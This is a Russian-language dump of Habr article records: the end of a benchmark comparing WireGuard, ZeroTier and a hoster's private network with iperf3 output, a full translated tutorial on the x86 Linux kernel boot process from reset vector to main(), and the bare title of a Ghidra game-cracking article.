$ iperf3 -c 192.168.0.3 -P 5 -R
Connecting to host 192.168.0.3, port 5201
Reverse mode, remote host 192.168.0.3 is sending
[ 5] local 192.168.0.4 port 35816 connected to 192.168.0.3 port 5201
[ 7] local 192.168.0.4 port 35818 connected to 192.168.0.3 port 5201
[ 9] local 192.168.0.4 port 35820 connected to 192.168.0.3 port 5201
[ 11] local 192.168.0.4 port 35822 connected to 192.168.0.3 port 5201
[ 13] local 192.168.0.4 port 35824 connected to 192.168.0.3 port 5201
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 14.8 MBytes 124 Mbits/sec
[ 7] 0.00-1.00 sec 14.9 MBytes 125 Mbits/sec
[ 9] 0.00-1.00 sec 14.7 MBytes 123 Mbits/sec
[ 11] 0.00-1.00 sec 14.7 MBytes 123 Mbits/sec
[ 13] 0.00-1.00 sec 14.6 MBytes 122 Mbits/sec
[SUM] 0.00-1.00 sec 73.7 MBytes 617 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 1.00-2.00 sec 20.9 MBytes 176 Mbits/sec
[ 7] 1.00-2.00 sec 20.7 MBytes 174 Mbits/sec
[ 9] 1.00-2.00 sec 20.7 MBytes 174 Mbits/sec
[ 11] 1.00-2.00 sec 20.6 MBytes 173 Mbits/sec
[ 13] 1.00-2.00 sec 20.4 MBytes 171 Mbits/sec
[SUM] 1.00-2.00 sec 103 MBytes 868 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 2.00-3.00 sec 18.3 MBytes 153 Mbits/sec
[ 7] 2.00-3.00 sec 18.5 MBytes 155 Mbits/sec
[ 9] 2.00-3.00 sec 18.6 MBytes 155 Mbits/sec
[ 11] 2.00-3.00 sec 18.2 MBytes 153 Mbits/sec
[ 13] 2.00-3.00 sec 18.5 MBytes 155 Mbits/sec
[SUM] 2.00-3.00 sec 92.0 MBytes 771 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 3.00-4.00 sec 18.3 MBytes 154 Mbits/sec
[ 7] 3.00-4.00 sec 18.4 MBytes 155 Mbits/sec
[ 9] 3.00-4.00 sec 18.2 MBytes 153 Mbits/sec
[ 11] 3.00-4.00 sec 18.4 MBytes 155 Mbits/sec
[ 13] 3.00-4.00 sec 18.1 MBytes 152 Mbits/sec
[SUM] 3.00-4.00 sec 91.4 MBytes 768 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 4.00-5.00 sec 17.0 MBytes 142 Mbits/sec
[ 7] 4.00-5.00 sec 17.2 MBytes 144 Mbits/sec
[ 9] 4.00-5.00 sec 17.0 MBytes 142 Mbits/sec
[ 11] 4.00-5.00 sec 17.4 MBytes 146 Mbits/sec
[ 13] 4.00-5.00 sec 16.7 MBytes 140 Mbits/sec
[SUM] 4.00-5.00 sec 85.3 MBytes 713 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 5.00-6.00 sec 16.5 MBytes 139 Mbits/sec
[ 7] 5.00-6.00 sec 16.7 MBytes 141 Mbits/sec
[ 9] 5.00-6.00 sec 16.7 MBytes 140 Mbits/sec
[ 11] 5.00-6.00 sec 16.4 MBytes 138 Mbits/sec
[ 13] 5.00-6.00 sec 16.1 MBytes 136 Mbits/sec
[SUM] 5.00-6.00 sec 82.4 MBytes 694 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 6.00-7.00 sec 17.7 MBytes 148 Mbits/sec
[ 7] 6.00-7.00 sec 17.8 MBytes 149 Mbits/sec
[ 9] 6.00-7.00 sec 17.6 MBytes 148 Mbits/sec
[ 11] 6.00-7.00 sec 17.5 MBytes 146 Mbits/sec
[ 13] 6.00-7.00 sec 17.3 MBytes 145 Mbits/sec
[SUM] 6.00-7.00 sec 87.9 MBytes 736 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 7.00-8.00 sec 17.7 MBytes 148 Mbits/sec
[ 7] 7.00-8.00 sec 17.9 MBytes 149 Mbits/sec
[ 9] 7.00-8.00 sec 17.6 MBytes 148 Mbits/sec
[ 11] 7.00-8.00 sec 17.7 MBytes 148 Mbits/sec
[ 13] 7.00-8.00 sec 17.5 MBytes 147 Mbits/sec
[SUM] 7.00-8.00 sec 88.5 MBytes 741 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 8.00-9.00 sec 18.7 MBytes 157 Mbits/sec
[ 7] 8.00-9.00 sec 18.8 MBytes 158 Mbits/sec
[ 9] 8.00-9.00 sec 18.9 MBytes 159 Mbits/sec
[ 11] 8.00-9.00 sec 18.7 MBytes 157 Mbits/sec
[ 13] 8.00-9.00 sec 18.5 MBytes 155 Mbits/sec
[SUM] 8.00-9.00 sec 93.6 MBytes 787 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 9.00-10.00 sec 19.2 MBytes 161 Mbits/sec
[ 7] 9.00-10.00 sec 19.1 MBytes 160 Mbits/sec
[ 9] 9.00-10.00 sec 19.0 MBytes 160 Mbits/sec
[ 11] 9.00-10.00 sec 19.0 MBytes 160 Mbits/sec
[ 13] 9.00-10.00 sec 18.8 MBytes 158 Mbits/sec
[SUM] 9.00-10.00 sec 95.1 MBytes 799 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.05 sec 181 MBytes 151 Mbits/sec 150 sender
[ 5] 0.00-10.00 sec 179 MBytes 150 Mbits/sec receiver
[ 7] 0.00-10.05 sec 182 MBytes 152 Mbits/sec 144 sender
[ 7] 0.00-10.00 sec 180 MBytes 151 Mbits/sec receiver
[ 9] 0.00-10.05 sec 181 MBytes 151 Mbits/sec 166 sender
[ 9] 0.00-10.00 sec 179 MBytes 150 Mbits/sec receiver
[ 11] 0.00-10.05 sec 181 MBytes 151 Mbits/sec 253 sender
[ 11] 0.00-10.00 sec 179 MBytes 150 Mbits/sec receiver
[ 13] 0.00-10.05 sec 179 MBytes 149 Mbits/sec 168 sender
[ 13] 0.00-10.00 sec 176 MBytes 148 Mbits/sec receiver
[SUM] 0.00-10.05 sec 904 MBytes 755 Mbits/sec 881 sender
[SUM] 0.00-10.00 sec 893 MBytes 749 Mbits/sec receiver
```
Очевидные вопросы
-----------------
**1. Что у этого решения под капотом?**
*VLAN/IPsec, при этом **не используются** ресурсы виртуалки.*
**2. Где использовать?**
*Для соединения серверов в рамках RuVDS.*
**3. Простота настройки?**
*Сравнима с настройкой ZeroTier.*
Окончательные выводы по областям применения
-------------------------------------------
* Wireguard — Соединение линукс хостов между собой, включая клиентские машины и если нужно объединить в VPN хосты у других хостеров. Высокая скорость передачи данных.
* ZeroTier — Мультиплатформенное решение, в основном для объединения клиентских устройств и подсетей, с удобным менеджментом. Средняя скорость передачи данных.
* «Локальная сеть» RuVDS — объединение в единую, высокопроизводительную, защищённую сеть Linux и Windows хостов, в рамках датацентров хостера. Очень высокая скорость передачи данных.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=oxyd&utm_content=rezultat_integracii_pine_a64_i_trs_80_model_100e#order) | https://habr.com/ru/post/539322/ | null | ru | null |
# Загрузка ядра Linux. Часть 1
**От загрузчика к ядру**
Если вы читали предыдущие [статьи](https://0xax.github.io/categories/assembler/), то знаете о моём новом увлечении низкоуровневым программированием. Я написал несколько статей о программировании на ассемблере для `x86_64` Linux и в то же время начал погружаться в исходный код ядра Linux.
Мне очень интересно разобраться, как работают низкоуровневые штуки: как программы запускаются на моём компьютере, как они расположены в памяти, как ядро управляет процессами и памятью, как работает сетевой стек на низком уровне и многое другое. Итак, я решил написать еще одну серию статей о ядре Linux для архитектуры **x86\_64**.
Обратите внимание, что я не профессиональный разработчик ядра и не пишу код ядра на работе. Это всего лишь хобби. Мне просто нравятся низкоуровневые вещи и интересно в них копаться. Поэтому если заметите какую-то путаницу или появилятся вопросы/замечания, свяжитесь со мной [в твиттере](https://twitter.com/0xAX), по [почте](https://github.com/0xAX/linux-insides/blob/master/Booting/anotherworldofworld@gmail.com) или просто создайте [тикет](https://github.com/0xAX/linux-insides/issues/new). Буду благодарен.
Все статьи публикуются в [репозитории GitHub](https://github.com/0xAX/linux-insides), и если что-то не так с моим английским или содержанием статьи, не стесняйтесь отправить пулл-реквест.
*Обратите внимание, что это не официальная документация, а просто обучение и обмен знаниями.*
**Необходимые знания**
* Понимание кода на C
* Понимание кода ассемблера (синтаксис AT&T)
Во всяком случае, если вы только начинаете изучать такие инструменты, я постараюсь что-то объяснить в этой и следующих статьях. Окей, с вступлением закончили, пора погрузиться в ядро Linux и низкоуровневые вещи.
Я начал писать эту книгу во времена ядра Linux 3.18, и многое могло измениться с тех пор. Если есть изменения, я буду соответственно обновлять статьи.
Волшебная кнопка включения, что дальше?
=======================================
Хотя это статьи о ядре Linux, мы пока не дошли до него — по крайней мере, в этом параграфе. Как только вы нажмете волшебную кнопку питания на своём ноутбуке или настольном компьютере, он начинает работать. Материнская плата посылает сигнал к [блоку питания](https://en.wikipedia.org/wiki/Power_supply). После получения сигнала он обеспечивает компьютеру необходимое количество электроэнергии. Как только материнская плата получает [сигнал «Питание в норме»](https://en.wikipedia.org/wiki/Power_good_signal), то пытается запустить CPU. Тот сбрасывает все оставшиеся данные в своих регистрах и устанавливает предопределённые значения для каждого из них.
У процессоров [80386](https://en.wikipedia.org/wiki/Intel_80386) и более поздних версий после перезагрузки должны быть такие значения в регистрах CPU:
```
IP 0xfff0
CS selector 0xf000
CS base 0xffff0000
```
Процессор начинает работать в [реальном режиме](https://en.wikipedia.org/wiki/Real_mode). Давайте немного вернемся назад и попытаемся понять [сегментацию памяти](https://en.wikipedia.org/wiki/Memory_segmentation) в этом режиме. Реальный режим поддерживается на всех x86-совместимых процессорах: от [8086](https://en.wikipedia.org/wiki/Intel_8086) до современных 64-разрядных процессоров Intel. В процессоре 8086 используется 20-битная шина адресов, то есть он может работать с адресным пространством `0-0xFFFFF` или `1 мегабайт`. Но у него есть только 16-битные регистры с максимальным адресом `2^16-1` или `0xffff` (64 килобайта).
[Сегментация памяти](https://en.wikipedia.org/wiki/Memory_segmentation) нужна для использования всего доступного адресного пространства. Вся память делится на небольшие сегменты фиксированного размера по `65536` байт (64 КБ). Поскольку с 16-битными регистрами мы не можем обратиться к памяти выше 64 КБ, был разработан альтернативный метод.
Адрес состоит из двух частей: 1) селектор сегмента с базовым адресом; 2) смещение от базового адреса. В реальном режиме базовым адресом селектора сегмента является `селектор сегмента * 16`. Таким образом, чтобы получить физический адрес в памяти, нужно умножить часть селектора сегмента на 16 и добавить к нему смещение:
```
Физический адрес = Селектор сегмента * 16 + Смещение
```
Например, если у регистра `CS:IP` значение `0x2000:0x0010`, то соответствующий физический адрес будет таким:
```
>>> hex((0x2000 << 4) + 0x0010)
'0x20010'
```
Но если взять селектор наибольшего сегмента и смещение `0xffff:0xffff`, то получается адрес:
```
>>> hex((0xffff << 4) + 0xffff)
'0x10ffef'
```
то есть `65520` байт после первого мегабайта. Поскольку в реальном режиме доступен только один мегабайт, `0x10ffef` становится `0x00ffef` с отключенной [линией A20](https://en.wikipedia.org/wiki/A20_line).
Хорошо, теперь мы немного знаем о реальном режиме и адресации памяти в этом режиме. Вернемся к обсуждению значений регистров после сброса.
Регистр `CS` состоит из двух частей: видимого селектора сегментов и скрытого базового адреса. Хотя базовый адрес обычно формируется путём умножения значения селектора сегмента на 16, но во время аппаратного сброса селектор сегмента в регистре CS получает значение `0xf000`, а базовый адрес — `0xffff0000`. Процессор использует этот специальный базовый адрес, пока не изменится CS.
Начальный адрес формируется добавлением базового адреса к значению в регистре EIP:
```
>>> 0xffff0000 + 0xfff0
'0xfffffff0'
```
Мы получаем `0xfffffff0`, что на 16 байт ниже 4 ГБ. Эта точка называется [вектором сброса](https://en.wikipedia.org/wiki/Reset_vector). Это расположение в памяти, где CPU ждёт первую инструкцию для выполнения после сброса: операцию перехода ([jmp](https://en.wikipedia.org/wiki/JMP_%28x86_instruction%29)), которая обычно указывает на точку входа BIOS. Например, если посмотреть исходный код [coreboot](https://www.coreboot.org/) (`src/cpu/x86/16bit/reset16.inc`), мы увидим:
```
.section ".reset", "ax", %progbits
.code16
.globl _start
_start:
.byte 0xe9
.int _start16bit - ( . + 2 )
...
```
Здесь мы видим код операции ([опкод](http://ref.x86asm.net/coder32.html#xE9)) `jmp`, а именно `0xe9`, и адрес назначения `_start16bit - ( . + 2)`.
Мы также видим, что раздел `reset` составляет 16 байт, и он компилируется для запуска с адреса `0xfffff0` (`src/cpu/x86/16bit/reset16.ld`):
```
SECTIONS {
/* Trigger an error if I have an unuseable start address */
_bogus = ASSERT(_start16bit >= 0xffff0000, "_start16bit too low. Please report.");
_ROMTOP = 0xfffffff0;
. = _ROMTOP;
.reset . : {
*(.reset);
. = 15;
BYTE(0x00);
}
}
```
Теперь запускается BIOS; после инициализации и проверки оборудования BIOS необходимо найти загрузочное устройство. Порядок загрузки сохраняется в конфигурации BIOS. При попытке загрузки с жёсткого диска BIOS пытается найти загрузочный сектор. На дисках с [разметкой разделов MBR](https://en.wikipedia.org/wiki/Master_boot_record) загрузочный сектор хранится в первых 446 байтах первого сектора, где каждый сектор равен 512 байтам. Последние два байта первого сектора — `0x55` и `0xaa`. Они показывают BIOS, что это загрузочное устройство.
Например:
```
;
; Примечание: этот пример написан в синтаксисе ассемблера Intel x86
;
[BITS 16]
boot:
mov al, '!'
mov ah, 0x0e
mov bh, 0x00
mov bl, 0x07
int 0x10
jmp $
times 510-($-$$) db 0
db 0x55
db 0xaa
```
Собираем и запускаем:
`nasm -f bin boot.nasm && qemu-system-x86_64 boot`
[QEMU](http://qemu.org/) получает команду использовать двоичный файл `boot`, который мы только что создали как образ диска. Так как двоичный файл, сгенерированный выше, удовлетворяет требованиям загрузочного сектора (начало в `0x7c00` и завершение магической последовательностью), то QEMU будет рассматривать двоичный файл как главную загрузочную запись (MBR) образа диска.
Вы увидите:
В этом примере мы видим, что код выполняется в 16-битном реальном режиме и начинается с адреса `0x7c00` в памяти. После запуска он вызывает прерывание [0x10](http://www.ctyme.com/intr/rb-0106.htm), которое просто печатает символ `!`; заполняет оставшиеся 510 байт нулями и заканчивается двумя волшебными байтами `0xaa` и `0x55`.
Двоичный дамп можно посмотреть утилитой `objdump`:
`nasm -f bin boot.nasm
objdump -D -b binary -mi386 -Maddr16,data16,intel boot`
Конечно, в реальном загрузочном секторе — код для продолжения процесса загрузки и таблица разделов вместо кучи нулей и восклицательного знака :). С этого момента BIOS передаёт управление загрузчику.
*Примечание*: как объясняется выше, CPU находится в реальном режиме; где вычисление физического адреса в памяти происходит следующим образом:
```
Физический адрес = Селектор сегмента * 16 + Смещение
```
У нас только 16-битные регистры общего назначения, а максимальное значение 16-битного регистра `0xffff`, поэтому на самых больших значениях результат будет:
```
>>> hex((0xffff * 16) + 0xffff)
'0x10ffef'
```
где `0x10ffef` равно `1 МБ + 64 КБ - 16 байт`. В процессоре [8086](https://en.wikipedia.org/wiki/Intel_8086) (первый процессор с реальным режимом) 20-битная адресная линия. Поскольку `2^20 = 1048576`, то фактически доступная память составляет 1 МБ.
В целом адресация памяти реального режима выглядит следующим образом:
```
0x00000000 - 0x000003FF – таблица векторов прерываний реального режима
0x00000400 - 0x000004FF - область данных BIOS
0x00000500 - 0x00007BFF - не используется
0x00007C00 - 0x00007DFF - наш загрузчик
0x00007E00 - 0x0009FFFF - не используется
0x000A0000 - 0x000BFFFF - память Video RAM (VRAM)
0x000B0000 - 0x000B7777 - видеопамять монохромного режима
0x000B8000 - 0x000BFFFF - видеопамять цветного режима
0x000C0000 - 0x000C7FFF - Video ROM BIOS
0x000C8000 - 0x000EFFFF - теневая область (BIOS Shadow)
0x000F0000 - 0x000FFFFF - системный BIOS
```
В начале статьи написано, что первая инструкция для процессора находится по адресу `0xFFFFFFF0`, что намного больше `0xFFFFF` (1 МБ). Как CPU получить доступ к этому адресу в реальном режиме? Ответ в документации [coreboot](https://www.coreboot.org/Developer_Manual/Memory_map):
`0xFFFE_0000 - 0xFFFF_FFFF: 128 килобайт ROM транслируются в адресное пространство`
В начале выполнения BIOS находится не в RAM, а в ROM.
Загрузчик
=========
Ядро Linux можно загружать разными загрузчиками, такими как [GRUB 2](https://www.gnu.org/software/grub/) и [syslinux](http://www.syslinux.org/wiki/index.php/The_Syslinux_Project). В ядре есть протокол загрузки, который определяет требования к загрузчику для реализации поддержки Linux. В данном примере мы работаем с GRUB 2.
Продолжая процесс загрузки, BIOS выбрал загрузочное устройство и передал управление загрузочному сектору, выполнение начинается с [boot.img](http://git.savannah.gnu.org/gitweb/?p=grub.git;a=blob;f=grub-core/boot/i386/pc/boot.S;hb=HEAD). Из-за ограниченного объёма это очень простой код. Он содержит указатель для перехода к основному образу GRUB 2. Тот начинается с [diskboot.img](http://git.savannah.gnu.org/gitweb/?p=grub.git;a=blob;f=grub-core/boot/i386/pc/diskboot.S;hb=HEAD) и обычно хранится сразу после первого сектора в неиспользуемом пространстве перед первым разделом. Приведённый выше код загружает в память остальную часть образа, который содержит ядро GRUB 2 и драйверы для обработки файловых систем. После этого выполняется функция [grub\_main](http://git.savannah.gnu.org/gitweb/?p=grub.git;a=blob;f=grub-core/kern/main.c).
Функция `grub_main` инициализирует консоль, возвращает базовый адрес для модулей, устанавливает корневое устройство, загружает/парсит конфигурационный файл grub, загружает модули и т.д. В конце выполнения она переводит grub в нормальный режим. Функция `grub_normal_execute` (из исходного файла `grub-core/normal/main.c`) завершает последние приготовления и показывает меню для выбора операционной системы. Когда мы выбираем один из пунктов меню grub, запускается функция `grub_menu_execute_entry`, которая выполняет команду grub `boot` и загружает выбранную ОС.
Как указано в протоколе загрузки ядра, загрузчик должен прочитать и заполнить некоторые поля заголовка установки ядра, который начинается со смещения `0x01f1` от кода установки ядра. Это смещение указано в [скрипте линкера](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/setup.ld). Заголовок ядра [arch/x86/boot/header.S](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/header.S) начинается с:
```
.globl hdr
hdr:
setup_sects: .byte 0
root_flags: .word ROOT_RDONLY
syssize: .long 0
ram_size: .word 0
vid_mode: .word SVGA_MODE
root_dev: .word 0
boot_flag: .word 0xAA55
```
Загрузчик должен заполнить этот и остальные заголовки (которые помечены только как тип `write` в протоколе загрузки Linux, как в данном примере) значениями, которые получил из командной строки или рассчитал во время загрузки. Сейчас мы не будем подробно останавливаться на описаниях и пояснениях для всех полей заголовка. Позже обсудим, как ядро их использует. Описание всех полей см. в [протоколе загрузки](https://github.com/torvalds/linux/blob/v4.16/Documentation/x86/boot.txt#L156).
Как видим в протоколе загрузки ядра, память будет отображаться следующим образом:
```
| Защищённый режим ядра |
100000 +------------------------+
| Отображение I/O |
0A0000 +------------------------+
| Зарезерв. для BIOS | Как можно больше оставить свободным
~ ~
| Командная строка | (также может находиться за отметкой X+10000)
X+10000 +------------------------+
| Стек/куча | Для использования кодом реального режима ядра
X+08000 +------------------------+
| Установка ядра | Код реального режима ядра
| Загрузочный сектор ядра| Легаси-загрузочный сектор ядра
X +------------------------+
| Загрузчик | <- Точка входа 0x7C00 загрузочного сектора
001000 +------------------------+
| Зарезерв. для MBR/BIOS |
000800 +------------------------+
| Обычно использ. MBR |
000600 +------------------------+
| Использ. только BIOS |
000000 +------------------------+
```
Итак, когда загрузчик передаёт управление ядру, оно начинается с адреса:
```
X + sizeof (KernelBootSector) + 1
```
где `X` — адрес загрузочного сектора ядра. В нашем случае `X` равен `0x10000`, как видно в дампе памяти:
Загрузчик перенёс ядро Linux в память, заполнил поля заголовка, а затем перешёл на соответствующий адрес памяти. Теперь мы можем перейти непосредственно к коду установки ядра.
Начало этапа установки ядра
===========================
Наконец-то мы в ядре! Хотя технически оно ещё не запущено. Сначала часть установки ядра должна кое-что настроить, в том числе декомпрессор и некоторые вещи с управлением памятью. После всего этого она распакует настоящее ядро и перейдёт к нему. Выполнение установки начинается в [arch/x86/boot/header.S](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/header.S) с символа [\_start](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/header.S#L292).
На первый взгляд это может показаться немного странным, так как перед ним есть несколько инструкций. Но давным-давно у ядра Linux был собственный загрузчик. Теперь же если запустить, например,
`qemu-system-x86_64 vmlinuz-3.18-generic`
вы увидите:
Собственно, файл `header.S` начинается с магического числа [MZ](https://en.wikipedia.org/wiki/DOS_MZ_executable) (см. скриншот дампа выше), текста сообщения об ошибке и заголовка [PE](https://en.wikipedia.org/wiki/Portable_Executable):
```
#ifdef CONFIG_EFI_STUB
# "MZ", MS-DOS header
.byte 0x4d
.byte 0x5a
#endif
...
...
...
pe_header:
.ascii "PE"
.word 0
```
Он нужен для загрузки операционной системы с поддержкой [UEFI](https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface). Его устройство рассмотрим в следующих главах.
Фактическая точка входа для установки ядра:
```
// header.S line 292
.globl _start
_start:
```
Загрузчик (grub2 и другие) знает об этой точке (смещение `0x200` от `MZ`) и переходит прямо к ней, хотя `header.S` начинается с раздела `.bstext`, где находится текст сообщения об ошибке:
```
//
// arch/x86/boot/setup.ld
//
. = 0; // current position
.bstext : { *(.bstext) } // put .bstext section to position 0
.bsdata : { *(.bsdata) }
```
Точка входа установки ядра:
```
.globl _start
_start:
.byte 0xeb
.byte start_of_setup-1f
1:
//
// rest of the header
//
```
Здесь мы видим код операции `jmp` (`0xeb`), который переходит к точке `start_of_setup-1f`. В нотации `Nf`, например, `2f` ссылается на локальную метку `2:`. В нашем случае это метка `1`, которая присутствует сразу после перехода, и она содержит остальную часть заголовка setup. Сразу после заголовка установки мы видим раздел `.entrytext`, который начинается с метки `start_of_setup`.
Это первый фактически выполняемый код (кроме предыдущих инструкций перехода, конечно). После того, как часть установки ядра получает управление от загрузчика, первая инструкция `jmp` находится по смещению `0x200` от начала реального режима ядра, то есть после первых 512 байт. Это можно увидеть как в протоколе загрузки ядра Linux, так и в исходном коде grub2:
```
segment = grub_linux_real_target >> 4;
state.gs = state.fs = state.es = state.ds = state.ss = segment;
state.cs = segment + 0x20;
```
В нашем случае ядро загружается по адресу `0x10000`. Это означает, что после запуска установки ядра регистры сегментов будут иметь следующие значения:
`gs = fs = es = ds = ss = 0x10000
cs = 0x10200`
После перехода к `start_of_setup` ядро должно сделать следующее:
* Убедиться, что все значения регистров сегментов одинаковы
* При необходимости настроить правильный стек
* Настроить [bss](https://en.wikipedia.org/wiki/.bss)
* Перейти к коду C в [arch/x86/boot/main.с](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/main.c)
Посмотрим, как это реализовано.
Выравнивание регистров сегментов
================================
Прежде всего ядро проверяет, что регистры сегментов `ds` и `es` указывают на один и тот же адрес. Затем очищает флаг направления с помощью инструкции `cld`:
```
movw %ds, %ax
movw %ax, %es
cld
```
Как я писал ранее, grub2 по умолчанию загружает код установки ядра по адресу `0x10000`, а `cs` по адресу `0x10200`, потому что выполнение начинается не с начала файла, а с перехода сюда:
```
_start:
.byte 0xeb
.byte start_of_setup-1f
```
Это смещение на `512` байт от [4d 5a](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/header.S#L46). Также необходимо выровнять `cs` с `0x10200` до `0x10000`, как и все остальные регистры сегментов. После этого устанавливаем стек:
```
pushw %ds
pushw $6f
lretw
```
Эта инструкция помещает на стек значение `ds`, за ним следуют адрес метки [6](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/header.S#L602) и инструкция `lretw`, которая загружает адрес метки `6` в регистр [счётчика команд](https://en.wikipedia.org/wiki/Program_counter) и загружает `cs` со значением `ds`. После этого у `ds` и `cs` будут одинаковые значения.
Настройка стека
===============
Почти весь этот код — часть процесса подготовки окружения для языка C в реальном режиме. Следующий шаг — проверить значение регистра `ss` и создать корректный стек, если значение `ss` неверное:
```
movw %ss, %dx
cmpw %ax, %dx
movw %sp, %dx
je 2f
```
Это может инициировать три разных сценария:
* у `ss` допустимое значение `0x1000` (как у всех остальных регистров, кроме `cs`)
* у `ss` недопустимое значение, и флаг `CAN_USE_HEAP` установлен (см. ниже)
* у `ss` недопустимое значение, и флаг `CAN_USE_HEAP` не установлен (см. ниже)
Рассмотрим все сценарии по порядку:
* У `ss` допустимое значение (`0x1000`). В этом случае мы переходим к метке 2:
```
2: andw $~3, %dx
jnz 3f
movw $0xfffc, %dx
3: movw %ax, %ss
movzwl %dx, %esp
sti
```
Здесь мы устанавливаем выравнивание регистра `dx` (который содержит значение `sp`, указанное загрузчиком) по `4` байтам и проверяем на нуль. Если он равен нулю, то помещаем в `dx` значение `0xfffc` (выровненный по `4` байтам адрес перед максимальным размером сегмента 64 КБ). Если он не равен нулю, то продолжаем использовать значение `sp`, заданное загрузчиком (`0xf7f4` в нашем случае). Затем помещаем значение `ax` в `ss`, что сохраняет правильный адрес сегмента `0x1000` и устанавливает правильный `sp`. Теперь у нас есть правильный стек:
* Во втором сценарии `ss != ds`. Сначала помещаем значение [\_end](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/setup.ld) (адрес конца кода установки) в `dx` и проверяем поле заголовка `loadflags`, используя инструкцию `testb`, чтобы проверить, можно ли использовать кучу. [loadflags](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/header.S#L320) — это заголовок битовой маски, который определяется следующим образом:
```
#define LOADED_HIGH (1<<0)
#define QUIET_FLAG (1<<5)
#define KEEP_SEGMENTS (1<<6)
#define CAN_USE_HEAP (1<<7)
```
и, как указано в протоколе загрузки:
`Имя поля: loadflags
Это поле является битовой маской.
Бит 7 (запись): CAN_USE_HEAP
Установите этот бит равным 1, чтобы указать, что значение
heap_end_ptr допустимо. Если это поле пусто, будет отключена
часть функциональности установки.`
Если установлен бит `CAN_USE_HEAP`, то в `dx` ставим значение `heap_end_ptr` (которое указывает на `_end`) и добавляем к нему `STACK_SIZE` (минимальный размер стека `1024` байта). После этого переходим к метке `2` (как в предыдущем случае) и делаем правильный стек.
* Если `CAN_USE_HEAP` не установлен, просто используем минимальный стек от `_end` до `_end + STACK_SIZE`:
Настройка BSS
=============
Нужны ещё два шага, прежде чем перейти к основному коду C: это настройка области [BSS](https://en.wikipedia.org/wiki/.bss) и проверка «волшебной» подписи. Сначала проверка подписи:
```
cmpl $0x5a5aaa55, setup_sig
jne setup_bad
```
Инструкция просто сравнивает [setup\_sig](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/setup.ld) с магическим числом 0x5a5aaa55. Если они не равны, сообщается о неустранимой ошибке.
Если магическое число совпадает и у нас есть набор правильных регистров сегментов и стек, то осталось лишь настроить раздел BSS перед переходом к коду C.
Раздел BSS используется для хранения статически выделенных неинициализированных данных. Linux тщательно проверяет, что эта область памяти обнулилась:
```
movw $__bss_start, %di
movw $_end+3, %cx
xorl %eax, %eax
subw %di, %cx
shrw $2, %cx
rep; stosl
```
Первым делом начальный адрес [\_\_bss\_start](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/setup.ld) перемещается в `di`. Затем адрес `_end + 3` (+3 для выравнивания по 4 байтам) перемещается в `cx`. Регистр `eax` очищается (с помощью инструкции `xor`), вычисляется размер раздела bss (`cx-di`) и он помещается в `cx`. Затем `cx` делится на четыре (размер «слова») и многократно используется инструкция `stosl`, сохраняя значение `еах` (нуль) в адрес, указывающий на `di`, автоматически увеличивая `di` на четыре и повторяя это до тех пор, пока `сх` не достигнет нуля). Чистый эффект этого кода заключается в том, что нули записываются во все слова в памяти от `__bss_start` до `_end`:
Переход к main
==============
Вот и всё: у нас есть стек и BSS, так что можно перейти к функции `main()` C:
```
calll main
```
Функция `main()` находится в [arch/x86/boot/main.c](https://github.com/torvalds/linux/blob/v4.16/arch/x86/boot/main.c). О ней поговорим в следующей части.
Вывод
=====
Это конец первой части об устройстве ядра Linux. Если у вас есть вопросы или предложения, свяжитесь со мной [в твиттере](https://twitter.com/0xAX), по [почте](https://github.com/0xAX/linux-insides/blob/master/Booting/anotherworldofworld@gmail.com) или просто создайте [тикет](https://github.com/0xAX/linux-insides/issues/new). В следующей части мы увидим первый код на C, который выполняется при установке ядра Linux, реализацию подпрограмм памяти, таких как `memset`, `memcpy`, `earlyprintk`, раннюю реализацию и инициализацию консоли и многое другое.
Ссылки
======
* [Intel 80386, справочник программиста, 1986 г.](http://css.csail.mit.edu/6.858/2014/readings/i386.pdf)
* [Минимальный загрузчик для архитектуры Intel](https://www.cs.cmu.edu/~410/doc/minimal_boot.pdf)
* [8086](https://en.wikipedia.org/wiki/Intel_8086)
* [80386](https://en.wikipedia.org/wiki/Intel_80386)
* [Вектор сброса](https://en.wikipedia.org/wiki/Reset_vector)
* [Реальный режим](https://en.wikipedia.org/wiki/Real_mode)
* [Протокол загрузки ядра Linux](https://www.kernel.org/doc/Documentation/x86/boot.txt)
* [Coreboot, руководство разработчика](https://www.coreboot.org/Developer_Manual)
* [Список прерываний Ральфа Брауна](http://www.ctyme.com/intr/int.htm)
* [Источник питания](https://en.wikipedia.org/wiki/Power_supply)
* [Сигнал «Питание в норме»](https://en.wikipedia.org/wiki/Power_good_signal) | https://habr.com/ru/post/428664/ | null | ru | null |
# Первое знакомство с отладчиком Ghidra и взлом игры Spiderman
[](https://habr.com/ru/company/ruvds/blog/535564/)
